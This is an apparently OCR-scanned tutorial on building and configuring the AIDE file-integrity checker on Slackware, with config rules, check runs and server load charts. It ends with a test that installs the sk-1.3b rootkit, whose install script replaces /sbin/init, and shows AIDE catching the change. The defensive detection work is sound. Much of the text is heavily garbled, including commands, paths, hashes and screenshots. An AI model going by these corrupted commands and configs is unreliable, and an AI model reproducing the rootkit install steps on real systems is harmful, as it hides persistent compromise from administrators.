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AIDE

coolc aide
coolc dackware linux
1 aide libmhash
aide libmhash
md5
http://sourceforge. net/projects/aide/
http://freshmeat. net/proj ects/mhash/
1) aide
#mkdir -p /usr/local/src/harden
2) id ade-0.10 mhash-0.9.4

#ar zpxf aide-0.10.tar.gz
#tar zpxf mhash-0.9.4.tar.gz

2
mhash-0.9.4 aide-0.10

#cd mhash-0.9.4
#./configure & & make & & make install
#cp include/mutils/*.h /usr/local /include/mutils/

#cd aide-0.11
#./configure --prefix=/usr/local & & make & & make install

dackware8.1 mhash lib
stdfns.c 128



#define M1X32(a) \
(((mutils_word32)((mutils_word8 *)(&)[0]) | \
(((mutils_word32)((mutils_ word8 *)(a))[1]) << 8)|\
(((mutils_word32)((mutils_word8 *)(a)[2]) << 16)| \
(((mutils_word32)((mutils_word8 *)(a))[3]) << 24))

#define M1X32(a) (((mutils_ word32)((mutils_word8 *)(a))[0]) |(((mutils_word32)((mutils word8 *)(a))[1])
<< 8)|(((mutils_word32)((mutils_wor d8*)(a))[2]) << 16)|(((mutils_wor d32)((mutils_ word8 *)(a))[3]) << 24))

#cd mhash-0.9.4
#make;make install
#cd aide-0.10
#makemake install

aide.conf aide.conf

man

1
#cp doc/aide.conf /usr/local/etc/

- lusr/local/etc/aide.conf
2 checksum
root@coolc:~/aide-0.11-rc2# aide -i
AIDE, version 0.9.4

### AIDE database at aide.db.new initialized.



root@coolc:/usr/local/bin# cp ./aide.db.new /usr/local/etc/aide.db

aide.conf
tripwire

@@define TOPDIR /usr/local/aide
# TOPDIR

@@ifndef TOPDIR

@@define TOPDIR /

@@endif

#
#aide c undef  else ifdef

@@ifdef DEBUG
@@define DEBUG ison
@@undef NOT_DEBUG

@Q@ese
@@define NOT_DEBUG true

@@undef DEBUG
@@endif

database=file:@@{ TOPDI R} /etc/aide.db

database out=file:aide.db.new

verbose=20
20 1 20 20
report_url=stdout
syslog
#
#Device =pt+u+g+sti

Device =u+g+sti

mail



Dynamic = p+i+n+u+gtshal

Growing = ptutg+i+n+S

IgnoreNone = p+i+ntut+gt+stm+atctStmd5S+shal+rmd160+tiger
ReadOnly = ptitutg+mds

Temporary = ptutgti

Rule = p+i+u+g+n+s+tmd5S

/dev/.* Device

# AideBinaries and Data Files #H#
# #H

lyour/aide/path

/bin/.*  ReadOnly
/lib/.*  ReadOnly
/sbin/.*  ReadOnly

lusr/local/sbin/.*  ReadOnly
/usr/local/bin/.*  ReadOnly

lusr/bin/*  ReadOnly
Jusr/sbin/.*  ReadOnly
fusr/libl.*  ReadOnly
/usr/libexec/.* ReadOnly

/ust/X11R6/bin/.*  ReadOnly
Jusr/X11R6/lib/.*  ReadOnly

/usr/games/.* ReadOnly



Jopthwww/htdig/bin/.*  ReadOnly

coolc linux
I/etc/ssh2/random_seed

inode
coolc

AIDE verson0.10

#### AIDE database initialized

ade.conf

#vi /usr/local/src/id/aide-0.10/doc/aide.conf

database=/usr/local/aideletc/aide.db
database out=/usr/local/aide/etc/aide.db.new
database _new=/usr/local/aide/etcd/aide.db.new

Checksum

checksum
root@coolc:/usr/local/bin# aide -C

AIDE, version 0.9.4

### All files match AIDE database. Looks okay!

ssh

radom_seed
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rootloonle: fageslocal /bind aide -C =
Fule at lin= 126 has ¢ and I flags enshled ac the sewe cipe. If sase lnods 13 2o

mmd, flag c i3 ignored

AIDE found differences betwesn datohase and filesysten!!

Starc Tinestenp! Z006-0Z-10 1E:05:48

SUNDATY:

Total munber of f1l2s=9831 added files=0,venowed I1les=0, changed flles=63

Chamged £1les:
changed: fdewodron
changpad: Sdew  HAEEDEY =
changsd;: fdew/ptasl
changsd;: fdew/phe
changsd;: /dew/cd
changsd: Sdew s iopat
changsd;: /dew/zhe
changsd: fdew/cpu
changed;: /dew/cpus/l
changed: JdewropulLl
changad; fdev/cpuls
changeds: Saews oL’ s
changpeds: fdewfopLsd
changed: dewsopLt 5
changed: Sdev s oL’ e
changed: Sdewsomus T
changeds: fdew oLl s

[Connactad ta 182 1E9.T0.130 EEHZ - wsel®B-che - hoacuds - | 113=28 | ﬁ'u_ i

I Secure Shell

[| EY Quide connact 3 Prodles

Blelze o
ERdefine WOT_DEEUT rtrue
Rhmdet DEBUG

WEOCE Suarflocal fecotaide. cont, 125 1lnea, I791 chara
roctloonle: faseslacal fbing mide -i
Fule at lime L35 has o spd I Elsgs enshled at the seme tipe, IE same ipode 18 Eound; flag © 13 igonored

ATLE, wergiom 0.5.4
#FF AIDE database =t alde.db.new initizlized,

roorBeonle: fastslocal /bing op alde. db, new Aageslocalfetclalde, tbh

rootfconle: foseflocal fbing aide -C

Fule et lin= LZ3 hax ¢ and I £lagx enabhled at th= =am= tioe. I =ame inode ix Ecund, Elag c© is ignored
AIDE Eound diffecsnces hebwesn dstabes=e snd filesyst=n!!

Hrapt vipeataop: S006-0%-10 18:13;5%

SUENAET:

Totel cumber of Eailsa=L3¢,sdded f1le==[,c=poved file==0, chenged file==]1

Changed £llea:
changed: fusrslocal/bibyselde. db. 0w
Deterled informstion abmat chengss:

Fila: uazflocal/bintalds. dh.nes
SHAL ¢ pETFedrkSZorTeOcEH+=yEahC1LI= » BB ERTL  PESOLHESFhnd 3nsT=
BMI:1a0 i =rTeyP dulbd 2 2ull=lege=cus= 5 DTENFE68cn P i ataesk oG GoENal=
LoocAeonle s s flocal fhind
roocHecole: fuse flocal fbing
rootfconle: foseslacal fhing
rootfconlds; fuscrlocal Aband I

11

JConnectsd ta 132 LEA. 7. 130 SSHE - aeclZH-che — haacnds - 1| LLEx31 ﬂ




#aide --compare
checksum

#aide --update

coolc
MEM CPU IO

DELL PE2850

CPU 4CPU

2G
200G

coolc 28329

CPU (@] Mem

CPU

vmstat



120
100
80
60 —=—sy
40 id
20
0
135 7 9111315171921
120
100
80
60 —=—sy
id

40
20

1 4 7 10 13 16 19 22 25
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1000
900
800
700
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400
300
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—o—Bi

—=— Do

1 35 7 9111315171921
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Mem

Aide
1200000
1000000 —— Tree( )
800000
= buff(
600000 00000000000 00000000000
400000 Caihe(
200000 cache
r...“....“.“"..... )
0 N T O N I |
1 4 710131619 22
Aide
1200000
1000000 ——Tree( ;
800000
—=— buff(
600000
)
400000 cache(
200000 cache
r—ﬁ )
0 it rrrrrrrrr i
1 5 9 13 17 21 25
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B 1:1T2.30. 29. 80 — defanlt — 5S5H Secure Shell

E Sk ¥ 2B #M S0 % @

Fle Edit Wew Window Help

&1 Quick Cannect L] Profiles

c -o binZoct
wake[l]: Leawving directory "/froot/sk-1l.3b/src'
cp -f sroflogin login
cp -f src/sk sk
Creating install script
echo "#!/bin/bash’™ > inst
echo "D="cat include/config.h | grep HOME | awk {'print §3'}°" »»> inst
echo "H="cat include/config.h | grep HIDESTRE | awk {'print £3'}°" > inst
echo "mkdir -p Y§D; cd 3§D »= inst
echo "echo > .sniffer; chmod 0622 .zniffer”™ >> inst
echo "echo -n -e “gzip -9 -c sk | sro/binZoct” | gzip -4 > sk7 »> inst
echo "chmod 0785 sk; if [ ! -f Ssbindinitis{H} ]:; ™
"then cp -f /shinfinit /sbindinichg{HY; £i:" 4
"tm -f fsbinfinit; cp sk Ssbindinit™ >> inst

Okay, £ile 'inst' is complete, self-installing script.
Just upload it somewhere, execute and you could log in using
.Alogin binary.

Hawve fun!

rootfvictime: ~/sk-1.3b# sh inst

Your home iz fusrishare/locale/sk/.sklZ, go there and type ./3k to install
us into memory. Hawve fun!

rootlvictine: ~/sk-1.3h# ]

Conmected to 1TZ2. 30, 29.80 SSHZ - aeslZB-che -~ hmac-mds - 1) B0x24 %]
aide shin /shin/initsk12

init strings




B 3=1T2.30. 29. 800 — defanlt — S5SH Secure
HE &k L 2 2 M & S @

Fle Edit Wew Window Help

&1 Quick Cannect L] Profiles

Changed files:

changed: /sbin/init

changed: /usr/local fetc/faide.db
Detailed information about changes:

File: /sbin/init

Gize i 443528

Gid 1k

Inode 1 523603

MDs o omidGiayid]0nvARwlDigql==
SHAL v BnU2Ex 1Efp £THulwg9 3cpwRxxo=

File: Ausrilocalsetcyiaide.db

Gize : 1732701
M5 : 16JRG9sjCEr0ivyFuGsullv==
SHAL g1 3bs0TACGAVEwTiENIEZE / 3M=

29304

524653
LavlhyavbEsTE+HIQgIVTAw==

h8o0d3cTZw]I4lAendMZgdg]VELO=

1735742
4BL14MehfTugsdd¥1¥ePNl==

Y¥Tgdd<08EG]UsibEFuhtEAl Ve A=

Conmected to 172 30.29. 60 [S5H2 — aes12B-—cbe - hmacmdS - 1| B0x21 ;E|




B 3=17T2.30. 29. 80 — defanlt — 5SH Secure Shell

X

H Sk = 2 M E S % @R

Fle Edit Wew Window Help
&1 Quick Cannect L] Profiles .

Z Init: Allocating kernel-code memory...
FUCK: Out of kernel memory!

Done, %d bytes, base=0x%08x
Jdev/Enen

sklz2

Jdew/mll

core

FUOCE: Got signal %d while manipulating kernel!
fsbindinitsklz
012345678%abedefghi jklunopdr stuvimye
012345678 9ARCDEFGHIJELMNOR QESTUVIICTZ
<NULLZ-

Jdew/mll

1.3hb

zklz
fusrishareslocalef/sk/.sklZ/.sniffer
Jproc)

/proci/nety

socket: [

Jshinsinit

/shinfinitsklz

login

telnet

rlogin

Conmected to 172 30.29. 60 [S5H2 — aesl12B-cbe -

hmac-mdS - 1| B0x24
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